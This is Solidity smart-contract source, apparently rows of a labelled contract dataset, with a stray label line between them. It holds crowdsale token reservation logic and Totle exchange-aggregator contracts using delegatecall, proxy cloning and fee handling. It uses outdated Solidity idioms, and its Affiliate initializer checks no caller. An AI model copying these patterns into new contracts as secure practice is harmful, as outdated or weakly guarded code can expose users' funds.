uint inPercentageDecimals;
bool isReserved;
bool isDistributed;
}
mapping (address => ReservedTokensData) public reservedTokensList;
address[] public reservedTokensDestinations;
uint public reservedTokensDestinationsLen = 0;
bool reservedTokensDestinationsAreSet = false;
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
function finalizeReservedAddress(address addr) public onlyMintAgent canMint {
ReservedTokensData storage reservedTokensData = reservedTokensList[addr];
reservedTokensData.isDistributed = true;
}
function isAddressReserved(address addr) public constant returns (bool isReserved) {
return reservedTokensList[addr].isReserved;
}
function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) {
return reservedTokensList[addr].isDistributed;
}
function getReservedTokens(address addr) public constant returns (uint inTokens) {
return reservedTokensList[addr].inTokens;
}
function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) {
return reservedTokensList[addr].inPercentageUnit;
}
function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) {
return reservedTokensList[addr].inPercentageDecimals;
}
function setReservedTokensListMultiple(
address[] addrs,
uint[] inTokens,
uint[] inPercentageUnit,
uint[] inPercentageDecimals
) public canMint onlyOwner {
assert(!reservedTokensDestinationsAreSet);
assert(addrs.length == inTokens.length);
assert(inTokens.length == inPercentageUnit.length);
assert(inPercentageUnit.length == inPercentageDecimals.length);
for (uint iterator = 0; iterator < addrs.length; iterator++) {
if (addrs[iterator] != address(0)) {
setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]);
}
}
reservedTokensDestinationsAreSet = true;
}
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner {
assert(addr != address(0));
if (!isAddressReserved(addr)) {
reservedTokensDestinations.push(addr);
reservedTokensDestinationsLen++;
}
reservedTokensList[addr] = ReservedTokensData({
inTokens: inTokens,
inPercentageUnit: inPercentageUnit,
inPercentageDecimals: inPercentageDecimals,
isReserved: true,
isDistributed: false
});
}
}
contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken {
event UpdatedTokenInformation(string newName, string newSymbol);
event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount);
string public name;
string public symbol;
uint public decimals;
uint public minCap;
function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
minCap = _globalMinCap;
balances[owner] = totalSupply;
if(totalSupply > 0) {
Minted(owner, totalSupply);
}
if(!_mintable) {
mintingFinished = true;
if(totalSupply == 0) {
throw;
}
}
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released && super.canUpgrade();
}
function setTokenInformation(string _name, string _symbol) onlyOwner {
name = _name;
symbol = _symbol;
UpdatedTokenInformation(name, symbol);
}
function claimTokens(address _token) public onlyOwner {
require(_token != address(0));
ERC20 token = ERC20(_token);
uint balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, owner, balance);
}
}
contract ReservedTokensFinalizeAgent is FinalizeAgent {
using SafeMathLibExt for uint;
CrowdsaleTokenExt public token;
CrowdsaleExt public crowdsale;
uint public distributedReservedTokensDestinationsLen = 0;
function ReservedTokensFinalizeAgent(CrowdsaleTokenExt _token, CrowdsaleExt _crowdsale) public {
token = _token;
crowdsale = _crowdsale;
}
function isSane() public constant returns (bool) {
return (token.releaseAgent() == address(this));
}
function distributeReservedTokens(uint reservedTokensDistributionBatch) public {
assert(msg.sender == address(crowdsale));
assert(reservedTokensDistributionBatch > 0);
assert(!reservedTokensAreDistributed);
assert(distributedReservedTokensDestinationsLen < token.reservedTokensDestinationsLen());
uint tokensSold = 0;
for (uint8 i = 0; i < crowdsale.joinedCrowdsalesLen(); i++) {
CrowdsaleExt tier = CrowdsaleExt(crowdsale.joinedCrowdsales(i));
tokensSold = tokensSold.plus(tier.tokensSold());
}
uint startLooping = distributedReservedTokensDestinationsLen;
uint batch = token.reservedTokensDestinationsLen().minus(distributedReservedTokensDestinationsLen);
if (batch >= reservedTokensDistributionBatch) {
batch = reservedTokensDistributionBatch;
}
uint endLooping = startLooping + batch;
for (uint j = startLooping; j < endLooping; j++) {
address reservedAddr = token.reservedTokensDestinations(j);
if (!token.areTokensDistributedForAddress(reservedAddr)) {
uint allocatedBonusInPercentage;
uint allocatedBonusInTokens = token.getReservedTokens(reservedAddr);
uint percentsOfTokensUnit = token.getReservedPercentageUnit(reservedAddr);
uint percentsOfTokensDecimals = token.getReservedPercentageDecimals(reservedAddr);
if (percentsOfTokensUnit > 0) {
allocatedBonusInPercentage = tokensSold * percentsOfTokensUnit / 10**percentsOfTokensDecimals / 100;
token.mint(reservedAddr, allocatedBonusInPercentage);
}
if (allocatedBonusInTokens > 0) {
token.mint(reservedAddr, allocatedBonusInTokens);
}
token.finalizeReservedAddress(reservedAddr);
distributedReservedTokensDestinationsLen++;
}
}
if (distributedReservedTokensDestinationsLen == token.reservedTokensDestinationsLen()) {
reservedTokensAreDistributed = true;
}
}
function finalizeCrowdsale() public {
assert(msg.sender == address(crowdsale));
if (token.reservedTokensDestinationsLen() > 0) {
assert(reservedTokensAreDistributed);
}
token.releaseTokenTransfer();
}
} | 0 | 966 |
pragma solidity 0.4.25;
pragma experimental ABIEncoderV2;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library ERC20SafeTransfer {
function safeTransfer(address _tokenAddress, address _to, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("transfer(address,uint256)")), _to, _value));
return fetchReturnData();
}
function safeTransferFrom(address _tokenAddress, address _from, address _to, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("transferFrom(address,address,uint256)")), _from, _to, _value));
return fetchReturnData();
}
function safeApprove(address _tokenAddress, address _spender, uint256 _value) internal returns (bool success) {
require(_tokenAddress.call(bytes4(keccak256("approve(address,uint256)")), _spender, _value));
return fetchReturnData();
}
function fetchReturnData() internal returns (bool success){
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
revert(0, 0)
}
}
}
}
contract Withdrawable is Ownable {
function withdrawToken(address _token, uint256 _amount) external onlyOwner returns (bool) {
return ERC20SafeTransfer.safeTransfer(_token, owner, _amount);
}
function withdrawETH(uint256 _amount) external onlyOwner {
owner.transfer(_amount);
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function decimals() public view returns (uint256);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract TokenTransferProxy is Ownable {
modifier onlyAuthorized {
require(authorized[msg.sender]);
_;
}
modifier targetAuthorized(address target) {
require(authorized[target]);
_;
}
modifier targetNotAuthorized(address target) {
require(!authorized[target]);
_;
}
mapping (address => bool) public authorized;
address[] public authorities;
event LogAuthorizedAddressAdded(address indexed target, address indexed caller);
event LogAuthorizedAddressRemoved(address indexed target, address indexed caller);
function addAuthorizedAddress(address target)
public
onlyOwner
targetNotAuthorized(target)
{
authorized[target] = true;
authorities.push(target);
emit LogAuthorizedAddressAdded(target, msg.sender);
}
function removeAuthorizedAddress(address target)
public
onlyOwner
targetAuthorized(target)
{
delete authorized[target];
for (uint i = 0; i < authorities.length; i++) {
if (authorities[i] == target) {
authorities[i] = authorities[authorities.length - 1];
authorities.length -= 1;
break;
}
}
emit LogAuthorizedAddressRemoved(target, msg.sender);
}
function transferFrom(
address token,
address from,
address to,
uint value)
public
onlyAuthorized
returns (bool)
{
require(ERC20SafeTransfer.safeTransferFrom(token, from, to, value));
return true;
}
function getAuthorizedAddresses()
public
view
returns (address[])
{
return authorities;
}
}
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool private _paused = false;
function paused() public view returns (bool) {
return _paused;
}
modifier whenNotPaused() {
require(!_paused, "Contract is paused.");
_;
}
modifier whenPaused() {
require(_paused, "Contract not paused.");
_;
}
function pause() public onlyOwner whenNotPaused {
_paused = true;
emit Paused();
}
function unpause() public onlyOwner whenPaused {
_paused = false;
emit Unpaused();
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Utils {
uint256 constant internal PRECISION = (10**18);
uint256 constant internal MAX_QTY = (10**28);
uint256 constant internal MAX_RATE = (PRECISION * 10**6);
uint256 constant internal MAX_DECIMALS = 18;
uint256 constant internal ETH_DECIMALS = 18;
uint256 constant internal MAX_UINT = 2**256-1;
function precision() internal pure returns (uint256) { return PRECISION; }
function max_qty() internal pure returns (uint256) { return MAX_QTY; }
function max_rate() internal pure returns (uint256) { return MAX_RATE; }
function max_decimals() internal pure returns (uint256) { return MAX_DECIMALS; }
function eth_decimals() internal pure returns (uint256) { return ETH_DECIMALS; }
function max_uint() internal pure returns (uint256) { return MAX_UINT; }
function getDecimals(address token)
internal
view
returns (uint256 decimals)
{
bytes4 functionSig = bytes4(keccak256("decimals()"));
assembly {
let ptr := mload(0x40)
mstore(ptr,functionSig)
let functionSigLength := 0x04
let wordLength := 0x20
let success := call(
5000,
token,
0,
ptr,
functionSigLength,
ptr,
wordLength
)
switch success
case 0 {
decimals := 0
}
case 1 {
decimals := mload(ptr)
}
mstore(0x40,add(ptr,0x04))
}
}
function tokenAllowanceAndBalanceSet(
address tokenOwner,
address tokenAddress,
uint256 tokenAmount,
address addressToAllow
)
internal
view
returns (bool)
{
return (
ERC20(tokenAddress).allowance(tokenOwner, addressToAllow) >= tokenAmount &&
ERC20(tokenAddress).balanceOf(tokenOwner) >= tokenAmount
);
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns (uint) {
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator;
}
function calcDestAmount(ERC20 src, ERC20 dest, uint srcAmount, uint rate) internal view returns (uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(ERC20 src, ERC20 dest, uint destAmount, uint rate) internal view returns (uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcRateFromQty(uint srcAmount, uint destAmount, uint srcDecimals, uint dstDecimals)
internal pure returns (uint)
{
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION / ((10 ** (dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (destAmount * PRECISION * (10 ** (srcDecimals - dstDecimals)) / srcAmount);
}
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ErrorReporter {
function revertTx(string reason) public pure {
revert(reason);
}
}
contract Affiliate{
address public affiliateBeneficiary;
uint256 public affiliatePercentage;
uint256 public companyPercentage;
address public companyBeneficiary;
function init(address _companyBeneficiary, uint256 _companyPercentage, address _affiliateBeneficiary, uint256 _affiliatePercentage) public {
require(companyBeneficiary == 0x0 && affiliateBeneficiary == 0x0);
companyBeneficiary = _companyBeneficiary;
companyPercentage = _companyPercentage;
affiliateBeneficiary = _affiliateBeneficiary;
affiliatePercentage = _affiliatePercentage;
}
function payout() public {
affiliateBeneficiary.transfer(SafeMath.div(SafeMath.mul(address(this).balance, affiliatePercentage), getTotalFeePercentage()));
companyBeneficiary.transfer(address(this).balance);
}
function() public payable {
}
function getTotalFeePercentage() public view returns (uint256){
return affiliatePercentage + companyPercentage;
}
}
contract AffiliateRegistry is Ownable {
address target;
mapping(address => bool) affiliateContracts;
address public companyBeneficiary;
uint256 public companyPercentage;
event AffiliateRegistered(address affiliateContract);
constructor(address _target, address _companyBeneficiary, uint256 _companyPercentage) public {
target = _target;
companyBeneficiary = _companyBeneficiary;
companyPercentage = _companyPercentage;
}
function registerAffiliate(address affiliateBeneficiary, uint256 affiliatePercentage) external {
Affiliate newAffiliate = Affiliate(createClone());
newAffiliate.init(companyBeneficiary, companyPercentage, affiliateBeneficiary, affiliatePercentage);
affiliateContracts[address(newAffiliate)] = true;
emit AffiliateRegistered(address(newAffiliate));
}
function overrideRegisterAffiliate(address _companyBeneficiary, uint256 _companyPercentage, address affiliateBeneficiary, uint256 affiliatePercentage) external onlyOwner {
Affiliate newAffiliate = Affiliate(createClone());
newAffiliate.init(_companyBeneficiary, _companyPercentage, affiliateBeneficiary, affiliatePercentage);
affiliateContracts[address(newAffiliate)] = true;
emit AffiliateRegistered(address(newAffiliate));
}
function deleteAffiliate(address _affiliateAddress) public onlyOwner {
affiliateContracts[_affiliateAddress] = false;
}
function createClone() internal returns (address result) {
bytes20 targetBytes = bytes20(target);
assembly {
let clone := mload(0x40)
mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(clone, 0x14), targetBytes)
mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
result := create(0, clone, 0x37)
}
}
function isValidAffiliate(address affiliateContract) public view returns(bool) {
return affiliateContracts[affiliateContract];
}
function updateCompanyInfo(address newCompanyBeneficiary, uint256 newCompanyPercentage) public onlyOwner {
companyBeneficiary = newCompanyBeneficiary;
companyPercentage = newCompanyPercentage;
}
}
contract TotleControl is Ownable {
mapping(address => bool) public authorizedPrimaries;
modifier onlyTotle() {
require(authorizedPrimaries[msg.sender]);
_;
}
constructor(address _totlePrimary) public {
authorizedPrimaries[_totlePrimary] = true;
}
function addTotle(
address _totlePrimary
) external onlyOwner {
authorizedPrimaries[_totlePrimary] = true;
}
function removeTotle(
address _totlePrimary
) external onlyOwner {
authorizedPrimaries[_totlePrimary] = false;
}
}
contract SelectorProvider {
bytes4 constant getAmountToGiveSelector = bytes4(keccak256("getAmountToGive(bytes)"));
bytes4 constant staticExchangeChecksSelector = bytes4(keccak256("staticExchangeChecks(bytes)"));
bytes4 constant performBuyOrderSelector = bytes4(keccak256("performBuyOrder(bytes,uint256)"));
bytes4 constant performSellOrderSelector = bytes4(keccak256("performSellOrder(bytes,uint256)"));
function getSelector(bytes4 genericSelector) public pure returns (bytes4);
}
contract ExchangeHandler is SelectorProvider, TotleControl, Withdrawable, Pausable {
ErrorReporter public errorReporter;
constructor(
address totlePrimary,
address _errorReporter
)
TotleControl(totlePrimary)
public
{
require(_errorReporter != address(0x0));
errorReporter = ErrorReporter(_errorReporter);
}
function getAmountToGive(
bytes genericPayload
)
public
view
returns (uint256 amountToGive)
{
bool success;
bytes4 functionSelector = getSelector(this.getAmountToGive.selector);
assembly {
let functionSelectorLength := 0x04
let functionSelectorOffset := 0x1C
let scratchSpace := 0x0
let wordLength := 0x20
let bytesLength := mload(genericPayload)
let totalLength := add(functionSelectorLength, bytesLength)
let startOfNewData := add(genericPayload, functionSelectorOffset)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(genericPayload, functionSelectorCorrect)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
wordLength
)
amountToGive := mload(scratchSpace)
if eq(success, 0) { revert(0, 0) }
}
}
function staticExchangeChecks(
bytes genericPayload
)
public
view
returns (bool checksPassed)
{
bool success;
bytes4 functionSelector = getSelector(this.staticExchangeChecks.selector);
assembly {
let functionSelectorLength := 0x04
let functionSelectorOffset := 0x1C
let scratchSpace := 0x0
let wordLength := 0x20
let bytesLength := mload(genericPayload)
let totalLength := add(functionSelectorLength, bytesLength)
let startOfNewData := add(genericPayload, functionSelectorOffset)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(genericPayload, functionSelectorCorrect)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
wordLength
)
checksPassed := mload(scratchSpace)
if eq(success, 0) { revert(0, 0) }
}
}
function performBuyOrder(
bytes genericPayload,
uint256 amountToGiveForOrder
)
public
payable
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
bool success;
bytes4 functionSelector = getSelector(this.performBuyOrder.selector);
assembly {
let callDataOffset := 0x44
let functionSelectorOffset := 0x1C
let functionSelectorLength := 0x04
let scratchSpace := 0x0
let wordLength := 0x20
let startOfFreeMemory := mload(0x40)
calldatacopy(startOfFreeMemory, callDataOffset, calldatasize)
let bytesLength := mload(startOfFreeMemory)
let totalLength := add(add(functionSelectorLength, bytesLength), wordLength)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(startOfFreeMemory, functionSelectorCorrect)
mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder)
let startOfNewData := add(startOfFreeMemory,functionSelectorOffset)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
mul(wordLength, 0x02)
)
amountSpentOnOrder := mload(scratchSpace)
amountReceivedFromOrder := mload(add(scratchSpace, wordLength))
if eq(success, 0) { revert(0, 0) }
}
}
function performSellOrder(
bytes genericPayload,
uint256 amountToGiveForOrder
)
public
returns (uint256 amountSpentOnOrder, uint256 amountReceivedFromOrder)
{
bool success;
bytes4 functionSelector = getSelector(this.performSellOrder.selector);
assembly {
let callDataOffset := 0x44
let functionSelectorOffset := 0x1C
let functionSelectorLength := 0x04
let scratchSpace := 0x0
let wordLength := 0x20
let startOfFreeMemory := mload(0x40)
calldatacopy(startOfFreeMemory, callDataOffset, calldatasize)
let bytesLength := mload(startOfFreeMemory)
let totalLength := add(add(functionSelectorLength, bytesLength), wordLength)
mstore(add(scratchSpace, functionSelectorOffset), functionSelector)
let functionSelectorCorrect := mload(scratchSpace)
mstore(startOfFreeMemory, functionSelectorCorrect)
mstore(add(startOfFreeMemory, add(wordLength, bytesLength)), amountToGiveForOrder)
let startOfNewData := add(startOfFreeMemory,functionSelectorOffset)
success := delegatecall(
gas,
address,
startOfNewData,
totalLength,
scratchSpace,
mul(wordLength, 0x02)
)
amountSpentOnOrder := mload(scratchSpace)
amountReceivedFromOrder := mload(add(scratchSpace, wordLength))
if eq(success, 0) { revert(0, 0) }
}
}
}
contract TotlePrimary is Withdrawable, Pausable {
mapping(address => bool) public handlerWhitelistMap;
address[] public handlerWhitelistArray;
AffiliateRegistry affiliateRegistry;
address public defaultFeeAccount;
TokenTransferProxy public tokenTransferProxy;
ErrorReporter public errorReporter;
struct Trade {
bool isSell;
address tokenAddress;
uint256 tokenAmount;
bool optionalTrade;
uint256 minimumExchangeRate;
uint256 minimumAcceptableTokenAmount;
Order[] orders;
}
struct Order {
address exchangeHandler;
bytes genericPayload;
}
struct TradeFlag {
bool ignoreTrade;
bool[] ignoreOrder;
}
struct CurrentAmounts {
uint256 amountSpentOnTrade;
uint256 amountReceivedFromTrade;
uint256 amountLeftToSpendOnTrade;
}
event LogRebalance(
bytes32 id
);
modifier handlerWhitelisted(address handler) {
if (!handlerWhitelistMap[handler]) {
errorReporter.revertTx("Handler not in whitelist");
}
_;
}
modifier handlerNotWhitelisted(address handler) {
if (handlerWhitelistMap[handler]) {
errorReporter.revertTx("Handler already whitelisted");
}
_;
}
constructor (address _tokenTransferProxy, address _affiliateRegistry, address _errorReporter, address _defaultFeeAccount) public {
tokenTransferProxy = TokenTransferProxy(_tokenTransferProxy);
affiliateRegistry = AffiliateRegistry(_affiliateRegistry);
errorReporter = ErrorReporter(_errorReporter);
defaultFeeAccount = _defaultFeeAccount;
}
function updateDefaultFeeAccount(address newDefaultFeeAccount) public onlyOwner {
defaultFeeAccount = newDefaultFeeAccount;
}
function addHandlerToWhitelist(address handler)
public
onlyOwner
handlerNotWhitelisted(handler)
{
handlerWhitelistMap[handler] = true;
handlerWhitelistArray.push(handler);
}
function removeHandlerFromWhitelist(address handler)
public
onlyOwner
handlerWhitelisted(handler)
{
delete handlerWhitelistMap[handler];
for (uint i = 0; i < handlerWhitelistArray.length; i++) {
if (handlerWhitelistArray[i] == handler) {
handlerWhitelistArray[i] = handlerWhitelistArray[handlerWhitelistArray.length - 1];
handlerWhitelistArray.length -= 1;
break;
}
}
}
function performRebalance(
Trade[] memory trades,
address feeAccount,
bytes32 id
)
public
payable
whenNotPaused
{
if(!affiliateRegistry.isValidAffiliate(feeAccount)){
feeAccount = defaultFeeAccount;
}
Affiliate affiliate = Affiliate(feeAccount);
uint256 feePercentage = affiliate.getTotalFeePercentage();
emit LogRebalance(id);
TradeFlag[] memory tradeFlags = initialiseTradeFlags(trades);
staticChecks(trades, tradeFlags);
transferTokens(trades, tradeFlags);
uint256 etherBalance = msg.value;
uint256 totalFee = 0;
for (uint256 i; i < trades.length; i++) {
Trade memory thisTrade = trades[i];
TradeFlag memory thisTradeFlag = tradeFlags[i];
CurrentAmounts memory amounts = CurrentAmounts({
amountSpentOnTrade: 0,
amountReceivedFromTrade: 0,
amountLeftToSpendOnTrade: thisTrade.isSell ? thisTrade.tokenAmount : calculateMaxEtherSpend(thisTrade, etherBalance, feePercentage)
});
performTrade(
thisTrade,
thisTradeFlag,
amounts
);
uint256 ethTraded;
uint256 ethFee;
if(thisTrade.isSell){
ethTraded = amounts.amountReceivedFromTrade;
} else {
ethTraded = amounts.amountSpentOnTrade;
}
ethFee = calculateFee(ethTraded, feePercentage);
totalFee = SafeMath.add(totalFee, ethFee);
if (amounts.amountReceivedFromTrade == 0 && thisTrade.optionalTrade) {
continue;
}
if (!checkIfTradeAmountsAcceptable(thisTrade, amounts.amountSpentOnTrade, amounts.amountReceivedFromTrade)) {
errorReporter.revertTx("Amounts spent/received in trade not acceptable");
}
if (thisTrade.isSell) {
etherBalance = SafeMath.sub(SafeMath.add(etherBalance, ethTraded), ethFee);
} else {
etherBalance = SafeMath.sub(SafeMath.sub(etherBalance, ethTraded), ethFee);
}
transferTokensToUser(
thisTrade.tokenAddress,
thisTrade.isSell ? amounts.amountLeftToSpendOnTrade : amounts.amountReceivedFromTrade
);
}
if(totalFee > 0){
feeAccount.transfer(totalFee);
}
if(etherBalance > 0) {
msg.sender.transfer(etherBalance);
}
}
function staticChecks(
Trade[] trades,
TradeFlag[] tradeFlags
)
public
view
whenNotPaused
{
bool previousBuyOccured = false;
for (uint256 i; i < trades.length; i++) {
Trade memory thisTrade = trades[i];
if (thisTrade.isSell) {
if (previousBuyOccured) {
errorReporter.revertTx("A buy has occured before this sell");
}
if (!Utils.tokenAllowanceAndBalanceSet(msg.sender, thisTrade.tokenAddress, thisTrade.tokenAmount, address(tokenTransferProxy))) {
if (!thisTrade.optionalTrade) {
errorReporter.revertTx("Taker has not sent allowance/balance on a non-optional trade");
}
tradeFlags[i].ignoreTrade = true;
continue;
}
} else {
previousBuyOccured = true;
}
for (uint256 j; j < thisTrade.orders.length; j++) {
Order memory thisOrder = thisTrade.orders[j];
if ( !handlerWhitelistMap[thisOrder.exchangeHandler] ) {
tradeFlags[i].ignoreOrder[j] = true;
continue;
}
}
}
}
function initialiseTradeFlags(Trade[] trades)
internal
returns (TradeFlag[])
{
TradeFlag[] memory tradeFlags = new TradeFlag[](trades.length);
for (uint256 i = 0; i < trades.length; i++) {
tradeFlags[i].ignoreOrder = new bool[](trades[i].orders.length);
}
return tradeFlags;
}
function transferTokensToUser(
address tokenAddress,
uint256 tokenAmount
)
internal
{
if (tokenAmount > 0) {
if (!ERC20SafeTransfer.safeTransfer(tokenAddress, msg.sender, tokenAmount)) {
errorReporter.revertTx("Unable to transfer tokens to user");
}
}
}
function performTrade(
Trade memory trade,
TradeFlag memory tradeFlag,
CurrentAmounts amounts
)
internal
{
for (uint256 j; j < trade.orders.length; j++) {
if(amounts.amountLeftToSpendOnTrade * 10000 < (amounts.amountSpentOnTrade + amounts.amountLeftToSpendOnTrade)){
return;
}
if((trade.isSell ? amounts.amountSpentOnTrade : amounts.amountReceivedFromTrade) >= trade.tokenAmount ) {
return;
}
if (tradeFlag.ignoreOrder[j] || amounts.amountLeftToSpendOnTrade == 0) {
continue;
}
uint256 amountSpentOnOrder = 0;
uint256 amountReceivedFromOrder = 0;
Order memory thisOrder = trade.orders[j];
ExchangeHandler thisHandler = ExchangeHandler(thisOrder.exchangeHandler);
uint256 amountToGiveForOrder = Utils.min(
thisHandler.getAmountToGive(thisOrder.genericPayload),
amounts.amountLeftToSpendOnTrade
);
if (amountToGiveForOrder == 0) {
continue;
}
if( !thisHandler.staticExchangeChecks(thisOrder.genericPayload) ) {
continue;
}
if (trade.isSell) {
if (!ERC20SafeTransfer.safeTransfer(trade.tokenAddress,address(thisHandler), amountToGiveForOrder)) {
if( !trade.optionalTrade ) errorReporter.revertTx("Unable to transfer tokens to handler");
else {
return;
}
}
(amountSpentOnOrder, amountReceivedFromOrder) = thisHandler.performSellOrder(thisOrder.genericPayload, amountToGiveForOrder);
} else {
(amountSpentOnOrder, amountReceivedFromOrder) = thisHandler.performBuyOrder.value(amountToGiveForOrder)(thisOrder.genericPayload, amountToGiveForOrder);
}
if (amountReceivedFromOrder > 0) {
amounts.amountLeftToSpendOnTrade = SafeMath.sub(amounts.amountLeftToSpendOnTrade, amountSpentOnOrder);
amounts.amountSpentOnTrade = SafeMath.add(amounts.amountSpentOnTrade, amountSpentOnOrder);
amounts.amountReceivedFromTrade = SafeMath.add(amounts.amountReceivedFromTrade, amountReceivedFromOrder);
}
}
}
function checkIfTradeAmountsAcceptable(
Trade trade,
uint256 amountSpentOnTrade,
uint256 amountReceivedFromTrade
)
internal
view
returns (bool passed)
{
uint256 tokenAmount = trade.isSell ? amountSpentOnTrade : amountReceivedFromTrade;
passed = tokenAmount >= trade.minimumAcceptableTokenAmount;
if (passed) {
uint256 tokenDecimals = Utils.getDecimals(ERC20(trade.tokenAddress));
uint256 srcDecimals = trade.isSell ? tokenDecimals : Utils.eth_decimals();
uint256 destDecimals = trade.isSell ? Utils.eth_decimals() : tokenDecimals;
uint256 actualRate = Utils.calcRateFromQty(amountSpentOnTrade, amountReceivedFromTrade, srcDecimals, destDecimals);
passed = actualRate >= trade.minimumExchangeRate;
}
}
function transferTokens(Trade[] trades, TradeFlag[] tradeFlags) internal {
for (uint256 i = 0; i < trades.length; i++) {
if (trades[i].isSell && !tradeFlags[i].ignoreTrade) {
if (
!tokenTransferProxy.transferFrom(
trades[i].tokenAddress,
msg.sender,
address(this),
trades[i].tokenAmount
)
) {
errorReporter.revertTx("TTP unable to transfer tokens to primary");
}
}
}
}
function calculateMaxEtherSpend(Trade trade, uint256 etherBalance, uint256 feePercentage) internal view returns (uint256) {
assert(!trade.isSell);
uint256 tokenDecimals = Utils.getDecimals(ERC20(trade.tokenAddress));
uint256 srcDecimals = trade.isSell ? tokenDecimals : Utils.eth_decimals();
uint256 destDecimals = trade.isSell ? Utils.eth_decimals() : tokenDecimals;
uint256 maxSpendAtMinRate = Utils.calcSrcQty(trade.tokenAmount, srcDecimals, destDecimals, trade.minimumExchangeRate);
return Utils.min(removeFee(etherBalance, feePercentage), maxSpendAtMinRate);
}
function calculateFee(uint256 amount, uint256 fee) internal view returns (uint256){
return SafeMath.div(SafeMath.mul(amount, fee), 1 ether);
}
function removeFee(uint256 amount, uint256 fee) internal view returns (uint256){
return SafeMath.div(SafeMath.mul(amount, 1 ether), SafeMath.add(fee, 1 ether));
}
